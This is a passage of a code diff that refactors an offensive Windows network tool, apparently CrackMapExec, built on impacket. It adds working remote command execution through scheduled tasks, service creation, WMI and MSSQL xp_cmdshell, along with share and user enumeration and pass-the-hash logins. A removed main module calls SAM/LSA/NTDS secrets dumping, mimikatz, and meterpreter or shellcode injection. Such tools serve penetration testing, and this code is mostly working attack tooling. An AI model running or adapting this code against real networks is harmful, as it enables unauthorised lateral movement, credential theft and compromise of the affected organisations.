self.__logger.results(disk[dname])
self.logger.highlight(disk[dname])

40
core/enum/shares.py Normal file
View File

@ -0,0 +1,40 @@
from impacket.smbconnection import SessionError
from core.helpers import gen_random_string
import random
import string
import ntpath
class ShareEnum:
def __init__(self, smbconnection, logger):
self.smbconnection = smbconnection
self.logger = logger
self.permissions = {}
self.root = ntpath.normpath("\\" + gen_random_string())
def enum(self):
for share in self.smbconnection.listShares():
share_name = share['shi1_netname'][:-1]
self.permissions[share_name] = []
try:
self.smbconnection.listPath(share_name, '*')
self.permissions[share_name].append('READ')
except SessionError:
pass
try:
self.smbconnection.createDirectory(share_name, self.root)
self.smbconnection.deleteDirectory(share_name, self.root)
self.permissions[share_name].append('WRITE')
except SessionError:
pass
self.logger.success('Enumerating shares')
self.logger.highlight(u'{:<15} {}'.format('SHARE', 'Permissions'))
self.logger.highlight(u'{:<15} {}'.format('-----', '-----------'))
for share, perm in self.permissions.iteritems():
if not perm:
self.logger.highlight(u'{:<15} {}'.format(share, 'NO ACCESS'))
else:
self.logger.highlight(u'{:<15} {}'.format(share, ', '.join(perm)))

View File

@ -1,15 +1,14 @@
from scripts.secretsdump import RemoteOperations
from core.remoteoperations import RemoteOperations
from impacket.dcerpc.v5 import rrp
class UACdump:
class UAC:
def __init__(self, logger, smbconnection, doKerb):
def __init__(self, smbconnection, logger):
self.logger = logger
self.smbconnection = smbconnection
self.peer = ':'.join(map(str, smbconnection.getSMBServer().get_socket().getpeername()))
self.doKerb = doKerb
self.doKerb = False
def run(self):
def enum(self):
remoteOps = RemoteOperations(self.smbconnection, self.doKerb)
remoteOps.enableRegistry()
ans = rrp.hOpenLocalMachine(remoteOps._RemoteOperations__rrp)
@ -20,9 +19,9 @@ class UACdump:
self.logger.success("Enumerating UAC status")
if uac_value == 1:
self.logger.results('1 - UAC Enabled')
self.logger.highlight('1 - UAC Enabled')
elif uac_value == 0:
self.logger.results('0 - UAC Disabled')
self.logger.highlight('0 - UAC Disabled')
rrp.hBaseRegCloseKey(remoteOps._RemoteOperations__rrp, keyHandle)
remoteOps.finish()

71
core/scripts/samrdump.py → core/enum/users.py Executable file → Normal file
View File

@ -14,17 +14,12 @@
# Reference for:
# DCE/RPC for SAMR
import sys
import logging
import codecs
from core.logger import *
from impacket import version
from impacket.nt_errors import STATUS_MORE_ENTRIES
from impacket.dcerpc.v5 import transport, samr
from impacket.dcerpc.v5.rpcrt import DCERPCException
class ListUsersException(Exception):
pass
@ -34,50 +29,46 @@ class SAMRDump:
'445/SMB': (r'ncacn_np:%s[\pipe\samr]', 445),
}
def __init__(self, logger, protocol, connection):
def __init__(self, logger, protocols = None,
username = '', password = '', domain = '', hashes = None, aesKey=None, doKerberos = False):
if not protocols:
self.__protocols = SAMRDump.KNOWN_PROTOCOLS.keys()
else:
self.__protocols = [protocols]
self.__username = username
self.__password = password
self.__domain = domain
self.__username = connection.username
self.__addr = connection.host
self.__password = connection.password
self.__domain = connection.domain
self.__hash = connection.hash
self.__protocol = protocol
self.__lmhash = ''
self.__nthash = ''
self.__aesKey = aesKey
self.__doKerberos = doKerberos
self.__aesKey = None
self.__doKerberos = False
self.__logger = logger
if hashes is not None:
self.__lmhash, self.__nthash = hashes.split(':')
if password is None:
if self.__hash is not None:
self.__lmhash, self.__nthash = self.__hash.split(':')
if self.__password is None:
self.__password = ''
def dump(self, addr):
def enum(self):
"""Dumps the list of users and shares registered present at
addr. Addr is a valid host name or IP address.
"""
logging.info('Retrieving endpoint list from %s' % addr)
logging.info('Retrieving endpoint list from %s' % self.__addr)
# Try all requested protocols until one works.
entries = []
for protocol in self.__protocols:
protodef = SAMRDump.KNOWN_PROTOCOLS[protocol]
port = protodef[1]
logging.info("Trying protocol %s..." % protocol)
rpctransport = transport.SMBTransport(addr, port, r'\samr', self.__username, self.__password, self.__domain, self.__lmhash, self.__nthash, self.__aesKey, doKerberos = self.__doKerberos)
protodef = SAMRDump.KNOWN_PROTOCOLS['{}/SMB'.format(self.__protocol)]
port = protodef[1]
try:
entries = self.__fetchList(rpctransport)
except Exception, e:
logging.critical(str(e))
else:
# Got a response. No need for further iterations.
break
logging.info("Trying protocol %s..." % self.__protocol)
rpctransport = transport.SMBTransport(self.__addr, port, r'\samr', self.__username, self.__password, self.__domain, self.__lmhash, self.__nthash, self.__aesKey, doKerberos = self.__doKerberos)
try:
entries = self.__fetchList(rpctransport)
except Exception, e:
logging.critical(str(e))
# Display results.
@ -85,11 +76,11 @@ class SAMRDump:
for entry in entries:
(username, uid, user) = entry
base = "%s (%d)" % (username, uid)
self.__logger.results(u'{}/FullName: {}'.format(base, user['FullName']))
self.__logger.results(u'{}/UserComment: {}' .format(base, user['UserComment']))
self.__logger.results(u'{}/PrimaryGroupId: {}'.format(base, user['PrimaryGroupId']))
self.__logger.results(u'{}/BadPasswordCount: {}'.format(base, user['BadPasswordCount']))
self.__logger.results(u'{}/LogonCount: {}'.format(base, user['LogonCount']))
self.__logger.highlight(u'{}/FullName: {}'.format(base, user['FullName']))
self.__logger.highlight(u'{}/UserComment: {}' .format(base, user['UserComment']))
self.__logger.highlight(u'{}/PrimaryGroupId: {}'.format(base, user['PrimaryGroupId']))
self.__logger.highlight(u'{}/BadPasswordCount: {}'.format(base, user['BadPasswordCount']))
self.__logger.highlight(u'{}/LogonCount: {}'.format(base, user['LogonCount']))
if entries:
num = len(entries)
@ -132,7 +123,7 @@ class SAMRDump:
while status == STATUS_MORE_ENTRIES:
try:
resp = samr.hSamrEnumerateUsersInDomain(dce, domainHandle, enumerationContext = enumerationContext)
except DCERPCException, e:
except DCERPCException as e:
if str(e).find('STATUS_MORE_ENTRIES') < 0:
raise
resp = e.get_packet()

103
core/enum/wmiquery.py Normal file
View File

@ -0,0 +1,103 @@
#!/usr/bin/python
# Copyright (c) 2003-2015 CORE Security Technologies
#
# This software is provided under under a slightly modified version
# of the Apache Software License. See the accompanying LICENSE file
# for more information.
#
# Description: [MS-WMI] example. It allows to issue WQL queries and
# get description of the objects.
#
# e.g.: select name from win32_account
# e.g.: describe win32_process
#
# Author:
# Alberto Solino (@agsolino)
#
# Reference for:
# DCOM
#
import logging
import traceback
from impacket.dcerpc.v5.dtypes import NULL
from impacket.dcerpc.v5.dcom import wmi
from impacket.dcerpc.v5.dcomrt import DCOMConnection
class WMIQUERY:
def __init__(self, logger, connection, wmi_namespace):
self.__logger = logger
self.__addr = connection.host
self.__username = connection.username
self.__password = connection.password
self.__hash = connection.hash
self.__domain = connection.domain
self.__namespace = wmi_namespace
self.__doKerberos = False
self.__aesKey = None
self.__oxidResolver = True
self.__lmhash = ''
self.__nthash = ''
if self.__hash is not None:
self.__lmhash, self.__nthash = self.__hash.split(':')
if self.__password is None:
self.__password = ''
self.__dcom = DCOMConnection(self.__addr, self.__username, self.__password, self.__domain,
self.__lmhash, self.__nthash, self.__aesKey, self.__oxidResolver, self.__doKerberos)
iInterface = self.__dcom.CoCreateInstanceEx(wmi.CLSID_WbemLevel1Login,wmi.IID_IWbemLevel1Login)
iWbemLevel1Login = wmi.IWbemLevel1Login(iInterface)
self.__iWbemServices= iWbemLevel1Login.NTLMLogin(self.__namespace, NULL, NULL)
iWbemLevel1Login.RemRelease()
def query(self, query):
query = query.strip('\n')
if query[-1:] == ';':
query = query[:-1]
try:
iEnumWbemClassObject = self.__iWbemServices.ExecQuery(query.strip('\n'))
self.__logger.success('Executed specified WMI query')
self.printReply(iEnumWbemClassObject)
iEnumWbemClassObject.RemRelease()
except Exception as e:
traceback.print_exc()
self.__iWbemServices.RemRelease()
self.__dcom.disconnect()
def describe(self, sClass):
sClass = sClass.strip('\n')
if sClass[-1:] == ';':
sClass = sClass[:-1]
try:
iObject, _ = self.iWbemServices.GetObject(sClass)
iObject.printInformation()
iObject.RemRelease()
except Exception as e:
traceback.print_exc()
def printReply(self, iEnum):
printHeader = True
while True:
try:
pEnum = iEnum.Next(0xffffffff,1)[0]
record = pEnum.getProperties()
line = []
for rec in record:
line.append('{}: {}'.format(rec, record[rec]['value']))
self.__logger.highlight(' | '.join(line))
except Exception, e:
#import traceback
#print traceback.print_exc()
if str(e).find('S_FALSE') < 0:
raise
else:
break
iEnum.RemRelease()

View File

122
core/scripts/atexec.py → core/execmethods/atexec.py Executable file → Normal file
View File

@ -1,80 +1,57 @@
#!/usr/bin/python
# Copyright (c) 2003-2015 CORE Security Technologies
#
# This software is provided under under a slightly modified version
# of the Apache Software License. See the accompanying LICENSE file
# for more information.
#
# ATSVC example for some functions implemented, creates, enums, runs, delete jobs
# This example executes a command on the target machine through the Task Scheduler
# service. Returns the output of such command
#
# Author:
# Alberto Solino (@agsolino)
#
# Reference for:
# DCE/RPC for TSCH
import traceback
import string
import sys
import argparse
import random
import logging
from gevent import sleep
from impacket import version
from impacket.dcerpc.v5 import tsch, transport
from impacket.dcerpc.v5.dtypes import NULL
from StringIO import StringIO
from core.helpers import gen_random_string
from gevent import sleep
class TSCH_EXEC:
def __init__(self, logger, command=None, username='', password='', domain='', hashes=None, aesKey=None, doKerberos=False, noOutput=False):
self.__logger = logger
def __init__(self, target, username, password, domain, hashes=None):
self.__target = target
self.__username = username
self.__password = password
self.__domain = domain
self.__lmhash = ''
self.__nthash = ''
self.__aesKey = aesKey
self.__doKerberos = doKerberos
self.__command = command
self.__noOutput = noOutput
self.__outputBuffer = ''
self.__retOutput = False
#self.__aesKey = aesKey
#self.__doKerberos = doKerberos
if hashes is not None:
self.__lmhash, self.__nthash = hashes.split(':')
if password is None:
if self.__password is None:
self.__password = ''
def play(self, addr):
stringbinding = r'ncacn_np:%s[\pipe\atsvc]' % addr
rpctransport = transport.DCERPCTransportFactory(stringbinding)
stringbinding = r'ncacn_np:%s[\pipe\atsvc]' % self.__target
self.__rpctransport = transport.DCERPCTransportFactory(stringbinding)
if hasattr(rpctransport, 'set_credentials'):
if hasattr(self.__rpctransport, 'set_credentials'):
# This method exists only for selected protocol sequences.
rpctransport.set_credentials(self.__username, self.__password, self.__domain, self.__lmhash, self.__nthash,
self.__aesKey)
rpctransport.set_kerberos(self.__doKerberos)
self.__rpctransport.set_credentials(self.__username, self.__password, self.__domain, self.__lmhash, self.__nthash)
#rpctransport.set_kerberos(self.__doKerberos)
def execute(self, command, output=False):
self.__retOutput = output
try:
self.doStuff(rpctransport)
except Exception, e:
#import traceback
#traceback.print_exc()
logging.error(e)
self.doStuff(command)
return self.__outputBuffer
except Exception as e:
traceback.print_exc()
def doStuff(self, command):
def doStuff(self, rpctransport):
def output_callback(data):
buf = StringIO(data.strip()).readlines()
for line in buf:
self.__logger.results(line.strip())
self.__outputBuffer = data
dce = rpctransport.get_dce_rpc()
dce = self.__rpctransport.get_dce_rpc()
dce.set_credentials(*rpctransport.get_credentials())
dce.set_credentials(*self.__rpctransport.get_credentials())
dce.connect()
#dce.set_auth_level(ntlm.NTLM_AUTH_PKT_PRIVACY)
dce.bind(tsch.MSRPC_UUID_TSCHS)
tmpName = ''.join([random.choice(string.letters) for _ in range(8)])
tmpFileName = tmpName + '.tmp'
tmpName = gen_random_string(8)
xml = """<?xml version="1.0" encoding="UTF-16"?>
<Task version="1.2" xmlns="http://schemas.microsoft.com/windows/2004/02/mit/task">
@ -115,69 +92,72 @@ class TSCH_EXEC:
<Exec>
<Command>cmd.exe</Command>
"""
if self.__noOutput is False:
if self.__retOutput:
tmpFileName = tmpName + '.tmp'
xml+= """ <Arguments>/C {} &gt; %windir%\\Temp\\{} 2&gt;&amp;1</Arguments>
</Exec>
</Actions>
</Task>
""".format(self.__command, tmpFileName)
""".format(command, tmpFileName)
else:
elif self.__retOutput is False:
xml+= """ <Arguments>/C {}</Arguments>
</Exec>
</Actions>
</Task>
""".format(self.__command)
""".format(command)
logging.info("Task XML: {}".format(xml))
#logging.info("Task XML: {}".format(xml))
taskCreated = False
try:
logging.info('Creating task \\%s' % tmpName)
#logging.info('Creating task \\%s' % tmpName)
tsch.hSchRpcRegisterTask(dce, '\\%s' % tmpName, xml, tsch.TASK_CREATE, NULL, tsch.TASK_LOGON_NONE)
taskCreated = True
logging.info('Running task \\%s' % tmpName)
#logging.info('Running task \\%s' % tmpName)
tsch.hSchRpcRun(dce, '\\%s' % tmpName)
done = False
while not done:
logging.debug('Calling SchRpcGetLastRunInfo for \\%s' % tmpName)
#logging.debug('Calling SchRpcGetLastRunInfo for \\%s' % tmpName)
resp = tsch.hSchRpcGetLastRunInfo(dce, '\\%s' % tmpName)
if resp['pLastRuntime']['wYear'] != 0:
done = True
else:
sleep(2)
logging.info('Deleting task \\%s' % tmpName)
#logging.info('Deleting task \\%s' % tmpName)
tsch.hSchRpcDelete(dce, '\\%s' % tmpName)
taskCreated = False
except tsch.DCERPCSessionError, e:
logging.error(e)
traceback.print_exc()
e.get_packet().dump()
finally:
if taskCreated is True:
tsch.hSchRpcDelete(dce, '\\%s' % tmpName)
peer = ':'.join(map(str, rpctransport.get_socket().getpeername()))
self.__logger.success('Executed command via ATEXEC')
peer = ':'.join(map(str, self.__rpctransport.get_socket().getpeername()))
#self.__logger.success('Executed command via ATEXEC')
if self.__noOutput is False:
smbConnection = rpctransport.get_smb_connection()
if self.__retOutput:
smbConnection = self.__rpctransport.get_smb_connection()
while True:
try:
logging.info('Attempting to read ADMIN$\\Temp\\%s' % tmpFileName)
#logging.info('Attempting to read ADMIN$\\Temp\\%s' % tmpFileName)
smbConnection.getFile('ADMIN$', 'Temp\\%s' % tmpFileName, output_callback)
break
except Exception, e:
except Exception as e:
if str(e).find('SHARING') > 0:
sleep(3)
elif str(e).find('STATUS_OBJECT_NAME_NOT_FOUND') >= 0:
sleep(3)
else:
raise
logging.debug('Deleting file ADMIN$\\Temp\\%s' % tmpFileName)
#logging.debug('Deleting file ADMIN$\\Temp\\%s' % tmpFileName)
smbConnection.deleteFile('ADMIN$', 'Temp\\%s' % tmpFileName)
else:
logging.info('Output retrieval disabled')
pass
#logging.info('Output retrieval disabled')
dce.disconnect()

View File

@ -0,0 +1,29 @@
import traceback
class MSSQLEXEC:
def __init__(self, connection):
self.mssql_conn = connection
self.outputBuffer = ''
def execute(self, command, output=False):
try:
self.enable_xp_cmdshell()
self.mssql_conn.sql_query("exec master..xp_cmdshell '{}'".format(command))
if output:
self.mssql_conn.printReplies()
self.mssql_conn.colMeta[0]['TypeData'] = 80*2
self.outputBuffer = self.mssql_conn.printRows()
self.disable_xp_cmdshell()
return self.outputBuffer
except Exception:
traceback.print_exc()
def enable_xp_cmdshell(self):
self.mssql_conn.sql_query("exec master.dbo.sp_configure 'show advanced options',1;RECONFIGURE;exec master.dbo.sp_configure 'xp_cmdshell', 1;RECONFIGURE;")
def disable_xp_cmdshell(self):
self.mssql_conn.sql_query("exec sp_configure 'xp_cmdshell', 0 ;RECONFIGURE;exec sp_configure 'show advanced options', 0 ;RECONFIGURE;")

130
core/execmethods/smbexec.py Normal file
View File

@ -0,0 +1,130 @@
import traceback
from impacket.dcerpc.v5 import transport, scmr
from impacket.smbconnection import *
from core.helpers import gen_random_string
class SMBEXEC:
KNOWN_PROTOCOLS = {
'139/SMB': (r'ncacn_np:%s[\pipe\svcctl]', 139),
'445/SMB': (r'ncacn_np:%s[\pipe\svcctl]', 445),
}
def __init__(self, host, protocol, username = '', password = '', domain = '', hashes = None, share = None):
self.__host = host
self.__username = username
self.__password = password
self.__serviceName = gen_random_string()
self.__domain = domain
self.__lmhash = ''
self.__nthash = ''
self.__share = share
self.__output = '\\Windows\\Temp\\' + gen_random_string()
self.__batchFile = '%TEMP%\\' + gen_random_string() + '.bat'
self.__outputBuffer = ''
self.__shell = '%COMSPEC% /Q /c '
self.__retOutput = False
self.__rpctransport = None
self.__scmr = None
self.__conn = None
#self.__mode = mode
#self.__aesKey = aesKey
#self.__doKerberos = doKerberos
if hashes is not None:
self.__lmhash, self.__nthash = hashes.split(':')
if self.__password is None:
self.__password = ''
protodef = SMBEXEC.KNOWN_PROTOCOLS['{}/SMB'.format(protocol)]
port = protodef[1]
stringbinding = protodef[0] % self.__host
self.__rpctransport = transport.DCERPCTransportFactory(stringbinding)
self.__rpctransport.set_dport(port)
if hasattr(self.__rpctransport,'preferred_dialect'):
self.__rpctransport.preferred_dialect(SMB_DIALECT)
if hasattr(self.__rpctransport, 'set_credentials'):
# This method exists only for selected protocol sequences.
self.__rpctransport.set_credentials(self.__username, self.__password, self.__domain, self.__lmhash, self.__nthash)
#rpctransport.set_kerberos(self.__doKerberos)
self.__scmr = self.__rpctransport.get_dce_rpc()
try:
self.__scmr.connect()
except Exception as e:
traceback.print_exc()
s = self.__rpctransport.get_smb_connection()
# We don't wanna deal with timeouts from now on.
s.setTimeout(100000)
self.__scmr.bind(scmr.MSRPC_UUID_SCMR)
resp = scmr.hROpenSCManagerW(self.__scmr)
self.__scHandle = resp['lpScHandle']
self.transferClient = self.__rpctransport.get_smb_connection()
def execute(self, command, output=False):
self.__retOutput = output
try:
if self.__retOutput:
self.cd('')
self.execute_remote(command)
self.finish()
return self.__outputBuffer
except Exception as e:
traceback.print_exc()
def cd(self, s):
self.execute_remote('cd ' )
def get_output(self):
if self.__retOutput is False:
self.__outputBuffer = ''
return
def output_callback(data):
self.__outputBuffer += data
self.transferClient.getFile(self.__share, self.__output, output_callback)
self.transferClient.deleteFile(self.__share, self.__output)
def execute_remote(self, data):
if self.__retOutput:
command = self.__shell + 'echo ' + data + ' ^> ' + self.__output + ' 2^>^&1 > ' + self.__batchFile + ' & ' + self.__shell + self.__batchFile
else:
command = self.__shell + 'echo ' + data + ' 2^>^&1 > ' + self.__batchFile + ' & ' + self.__shell + self.__batchFile
command += ' & ' + 'del ' + self.__batchFile
resp = scmr.hRCreateServiceW(self.__scmr, self.__scHandle, self.__serviceName, self.__serviceName, lpBinaryPathName=command)
service = resp['lpServiceHandle']
try:
scmr.hRStartServiceW(self.__scmr, service)
except:
pass
scmr.hRDeleteService(self.__scmr, service)
scmr.hRCloseServiceHandle(self.__scmr, service)
self.get_output()
def finish(self):
# Just in case the service is still created
try:
self.__scmr = self.__rpctransport.get_dce_rpc()
self.__scmr.connect()
self.__scmr.bind(scmr.MSRPC_UUID_SCMR)
resp = scmr.hROpenSCManagerW(self.__scmr)
self.__scHandle = resp['lpScHandle']
resp = scmr.hROpenServiceW(self.__scmr, self.__scHandle, self.__serviceName)
service = resp['lpServiceHandle']
scmr.hRDeleteService(self.__scmr, service)
scmr.hRControlService(self.__scmr, service, scmr.SERVICE_CONTROL_STOP)
scmr.hRCloseServiceHandle(self.__scmr, service)
except:
pass

View File

@ -0,0 +1,97 @@
import ntpath
import traceback
from gevent import sleep
from core.helpers import gen_random_string
from impacket.dcerpc.v5.dcomrt import DCOMConnection
from impacket.dcerpc.v5.dcom import wmi
from impacket.dcerpc.v5.dtypes import NULL
class WMIEXEC:
def __init__(self, target, username, password, domain, smbconnection, hashes=None, share=None):
self.__target = target
self.__username = username
self.__password = password
self.__domain = domain
self.__lmhash = ''
self.__nthash = ''
self.__share = share
self.__smbconnection = smbconnection
self.__output = '\\' + gen_random_string(6)
self.__outputBuffer = ''
self.__shell = 'cmd.exe /Q /c '
self.__pwd = 'C:\\'
self.__aesKey = None
self.__doKerberos = False
self.__retOutput = True
if hashes is not None:
self.__lmhash, self.__nthash = hashes.split(':')
if self.__password is None:
self.__password = ''
self.__dcom = DCOMConnection(self.__target, self.__username, self.__password, self.__domain, self.__lmhash, self.__nthash, self.__aesKey, oxidResolver = True, doKerberos=self.__doKerberos)
iInterface = self.__dcom.CoCreateInstanceEx(wmi.CLSID_WbemLevel1Login,wmi.IID_IWbemLevel1Login)
iWbemLevel1Login = wmi.IWbemLevel1Login(iInterface)
iWbemServices= iWbemLevel1Login.NTLMLogin('//./root/cimv2', NULL, NULL)
iWbemLevel1Login.RemRelease()
self.__win32Process,_ = iWbemServices.GetObject('Win32_Process')
def execute(self, command, output=False):
self.__retOutput = output
try:
if self.__retOutput:
self.__smbconnection.setTimeout(100000)
self.cd('\\')
self.execute_remote(command)
self.__dcom.disconnect()
return self.__outputBuffer
except Exception as e:
traceback.print_exc()
self.__dcom.disconnect()
def cd(self, s):
self.execute_remote('cd ' + s)
if len(self.__outputBuffer.strip('\r\n')) > 0:
print self.__outputBuffer
self.__outputBuffer = ''
else:
self.__pwd = ntpath.normpath(ntpath.join(self.__pwd, s))
self.execute_remote('cd ')
self.__pwd = self.__outputBuffer.strip('\r\n')
self.prompt = self.__pwd + '>'
self.__outputBuffer = ''
def execute_remote(self, data):
command = self.__shell + data
if self.__retOutput:
command += ' 1> ' + '\\\\127.0.0.1\\%s' % self.__share + self.__output + ' 2>&1'
self.__win32Process.Create(command, self.__pwd, None)
self.get_output()
def get_output(self):
if self.__retOutput is False:
self.__outputBuffer = ''
return
def output_callback(data):
self.__outputBuffer += data
while True:
try:
self.__smbconnection.getFile(self.__share, self.__output, output_callback)
break
except Exception as e:
if str(e).find('STATUS_SHARING_VIOLATION') >=0:
# Output not finished, let's wait
sleep(1)
pass
else:
#print str(e)
pass
self.__smbconnection.deleteFile(self.__share, self.__output)

View File

@ -1,57 +0,0 @@
from scripts.wmiexec import WMIEXEC
from scripts.smbexec import SMBEXEC
from scripts.atexec import TSCH_EXEC
from scripts.mssqlclient import SQLSHELL
import settings
class EXECUTOR:
"""Yes, I know this sounds like the pokemon... deal with it"""
def __init__(self, logger, command, host, domain, noOutput, connection, method, user, passwd, ntlm_hash):
if settings.args.mssql and str(connection).find('MSSQL') != -1:
sql_shell = SQLSHELL(connection, logger)
sql_shell.do_xp_cmdshell(command, noOutput)
else:
if method == 'wmi':
wmi_exec = WMIEXEC(logger,
command,
user,
passwd,
domain,
ntlm_hash,
settings.args.aesKey,
settings.args.share,
noOutput,
settings.args.kerb)
wmi_exec.run(host, connection)
elif method == 'smbexec':
smb_exec = SMBEXEC(logger,
command,
'{}/SMB'.format(settings.args.port),
user,
passwd,
domain,
ntlm_hash,
settings.args.aesKey,
settings.args.kerb,
'SHARE',
settings.args.share,
noOutput)
smb_exec.run(host)
elif method == 'atexec':
atsvc_exec = TSCH_EXEC(logger,
command,
user,
passwd,
domain,
ntlm_hash,
settings.args.aesKey,
settings.args.kerb,
noOutput)
atsvc_exec.play(host)

View File

@ -1,385 +0,0 @@
from logger import *
from powershell import *
from impacket import tds
from scripts.mssqlclient import *
from impacket.nmb import NetBIOSError
from impacket.smbconnection import SMBConnection, SessionError
from impacket.dcerpc.v5.rpcrt import DCERPCException
from executor import EXECUTOR
from sharedump import SHAREDUMP
from scripts.wmiquery import WMIQUERY
from scripts.samrdump import SAMRDump
from scripts.lookupsid import LSALookupSid
from scripts.secretsdump import DumpSecrets
from scripts.services import SVCCTL
from passpoldump import PassPolDump
from rpcquery import RPCQUERY
from smbspider import SMBSPIDER
from uacdump import UACdump
from wdigestenable import WdisgestEnable
from smartlogin import smart_login
from remotefilesystem import RemoteFileSystem
from datetime import datetime
import os
import socket
import settings
import traceback
import socket
import logging
def main_greenlet(host):
try:
smb = SMBConnection(host, host, None, settings.args.port)
#Get our IP from the socket
local_ip = smb.getSMBServer().get_socket().getsockname()[0]
try:
smb.login('' , '')
except SessionError as e:
if "STATUS_ACCESS_DENIED" in e.message:
pass
domain = settings.args.domain
s_name = smb.getServerName()
if not domain:
domain = smb.getServerDomain()
if not domain:
domain = s_name
cme_logger = CMEAdapter(logging.getLogger('CME'), {'host': host,
'hostname': s_name,
'port': settings.args.port,
'service': 'SMB'})
cme_logger.info(u"{} (name:{}) (domain:{})".format(smb.getServerOS(), s_name, domain))
try:
'''
DC's seem to want us to logoff first
Windows workstations sometimes reset the connection, so we handle both cases here
(go home Windows, you're drunk)
'''
smb.logoff()
except NetBIOSError:
pass
except socket.error:
pass
if settings.args.mssql:
cme_logger = CMEAdapter(logging.getLogger('CME'), {'host': host,
'hostname': s_name,
'port': settings.args.mssql_port,
'service': 'MSSQL'})
#try:
ms_sql = tds.MSSQL(host, int(settings.args.mssql_port), cme_logger)
ms_sql.connect()
instances = ms_sql.getInstances(5)
cme_logger.info("Found {} MSSQL instance(s)".format(len(instances)))
for i, instance in enumerate(instances):
cme_logger.results("Instance {}".format(i))
for key in instance.keys():
cme_logger.results(key + ":" + instance[key])
try:
ms_sql.disconnect()
except:
pass
#except socket.error as e:
# if settings.args.verbose: mssql_cme_logger.error(str(e))
if (settings.args.user and (settings.args.passwd or settings.args.hash)) or settings.args.combo_file:
ms_sql = None
smb = None
if settings.args.mssql:
ms_sql = tds.MSSQL(host, int(settings.args.mssql_port), cme_logger)
ms_sql.connect()
ms_sql, user, passwd, ntlm_hash, domain = smart_login(host, domain, ms_sql, cme_logger)
sql_shell = SQLSHELL(ms_sql, cme_logger)
else:
smb = SMBConnection(host, host, None, settings.args.port)
smb, user, passwd, ntlm_hash, domain = smart_login(host, domain, smb, cme_logger)
if ms_sql:
connection = ms_sql
if settings.args.mssql_query:
sql_shell.onecmd(settings.args.mssql_query)
if smb:
connection = smb
if settings.args.delete or settings.args.download or settings.args.list or settings.args.upload:
rfs = RemoteFileSystem(host, smb, cme_logger)
if settings.args.delete:
rfs.delete()
if settings.args.download:
rfs.download()
if settings.args.upload:
rfs.upload()
if settings.args.list:
rfs.list()
if settings.args.enum_shares:
shares = SHAREDUMP(smb, cme_logger)
shares.dump(host)
if settings.args.enum_users:
users = SAMRDump(cme_logger,
'{}/SMB'.format(settings.args.port),
user,
passwd,
domain,
ntlm_hash,
settings.args.aesKey,
settings.args.kerb)
users.dump(host)
if settings.args.sam or settings.args.lsa or settings.args.ntds:
dumper = DumpSecrets(cme_logger,
'logs/{}'.format(host),
smb,
settings.args.kerb)
dumper.do_remote_ops()
if settings.args.sam:
dumper.dump_SAM()
if settings.args.lsa:
dumper.dump_LSA()
if settings.args.ntds:
dumper.dump_NTDS(settings.args.ntds,
settings.args.ntds_history,
settings.args.ntds_pwdLastSet)
dumper.cleanup()
if settings.args.pass_pol:
pass_pol = PassPolDump(cme_logger,
'{}/SMB'.format(settings.args.port),
user,
passwd,
domain,
ntlm_hash,
settings.args.aesKey,
settings.args.kerb)
pass_pol.dump(host)
if settings.args.rid_brute:
lookup = LSALookupSid(cme_logger,
user,
passwd,
domain,
'{}/SMB'.format(settings.args.port),
ntlm_hash,
settings.args.rid_brute)
lookup.dump(host)
if settings.args.enum_sessions or settings.args.enum_disks or settings.args.enum_lusers:
rpc_query = RPCQUERY(cme_logger,
user,
passwd,
domain,
ntlm_hash)
if settings.args.enum_sessions:
rpc_query.enum_sessions(host)
if settings.args.enum_disks:
rpc_query.enum_disks(host)
if settings.args.enum_lusers:
rpc_query.enum_lusers(host)
if settings.args.spider:
smb_spider = SMBSPIDER(cme_logger, host, smb)
smb_spider.spider(settings.args.spider, settings.args.depth)
smb_spider.finish()
if settings.args.wmi_query:
wmi_query = WMIQUERY(cme_logger,
user,
domain,
passwd,
ntlm_hash,
settings.args.kerb,
settings.args.aesKey)
wmi_query.run(settings.args.wmi_query, host, settings.args.namespace)
if settings.args.check_uac:
uac = UACdump(cme_logger, smb, settings.args.kerb)
uac.run()
if settings.args.enable_wdigest or settings.args.disable_wdigest:
wdigest = WdisgestEnable(cme_logger, smb, settings.args.kerb)
if settings.args.enable_wdigest:
wdigest.enable()
elif settings.args.disable_wdigest:
wdigest.disable()
if settings.args.service:
service_control = SVCCTL(cme_logger,
user,
passwd,
domain,
'{}/SMB'.format(settings.args.port),
settings.args.service,
settings.args.aesKey,
settings.args.kerb,
ntlm_hash,
settings.args)
service_control.run(host)
if settings.args.command:
EXECUTOR(cme_logger,
settings.args.command,
host,
domain,
settings.args.no_output,
connection,
settings.args.execm,
user,
passwd,
ntlm_hash)
if settings.args.pscommand:
EXECUTOR(cme_logger,
ps_command(settings.args.pscommand, settings.args.ps_arch),
host,
domain,
settings.args.no_output,
connection,
settings.args.execm,
user,
passwd,
ntlm_hash)
if settings.args.mimikatz:
powah_command = PowerShell(settings.args.server, local_ip)
EXECUTOR(cme_logger,
powah_command.mimikatz(),
host,
domain,
True,
connection,
settings.args.execm,
user,
passwd,
ntlm_hash)
if settings.args.gpp_passwords:
powah_command = PowerShell(settings.args.server, local_ip)
EXECUTOR(cme_logger,
powah_command.gpp_passwords(),
host,
domain,
True,
connection,
settings.args.execm,
user,
passwd,
ntlm_hash)
if settings.args.mimikatz_cmd:
powah_command = PowerShell(settings.args.server, local_ip)
EXECUTOR(cme_logger,
powah_command.mimikatz(settings.args.mimikatz_cmd),
host,
domain,
True,
connection,
settings.args.execm,
user,
passwd,
ntlm_hash)
if settings.args.powerview:
#For some reason powerview functions only seem to work when using smbexec...
#I think we might have a mistery on our hands boys and girls!
powah_command = PowerShell(settings.args.server, local_ip)
EXECUTOR(cme_logger,
powah_command.powerview(settings.args.powerview),
host,
domain,
True,
connection,
'smbexec',
user,
passwd,
ntlm_hash)
if settings.args.tokens:
powah_command = PowerShell(settings.args.server, local_ip)
EXECUTOR(cme_logger,
powah_command.token_enum(),
host,
domain,
True,
connection,
settings.args.execm,
user,
passwd,
ntlm_hash)
if settings.args.inject:
powah_command = PowerShell(settings.args.server, local_ip)
if settings.args.inject.startswith('met_'):
EXECUTOR(cme_logger,
powah_command.inject_meterpreter(),
host,
domain,
True,
connection,
settings.args.execm,
user,
passwd,
ntlm_hash)
if settings.args.inject == 'shellcode':
EXECUTOR(cme_logger,
powah_command.inject_shellcode(),
host,
domain,
True,
connection,
settings.args.execm,
user,
passwd,
ntlm_hash)
if settings.args.inject == 'dll' or settings.args.inject == 'exe':
EXECUTOR(cme_logger,
powah_command.inject_exe_dll(),
host,
domain,
True,
connection,
settings.args.execm,
user,
passwd,
ntlm_hash)
try:
smb.logoff()
except:
pass
try:
ms_sql.disconnect()
except:
pass
except SessionError as e:
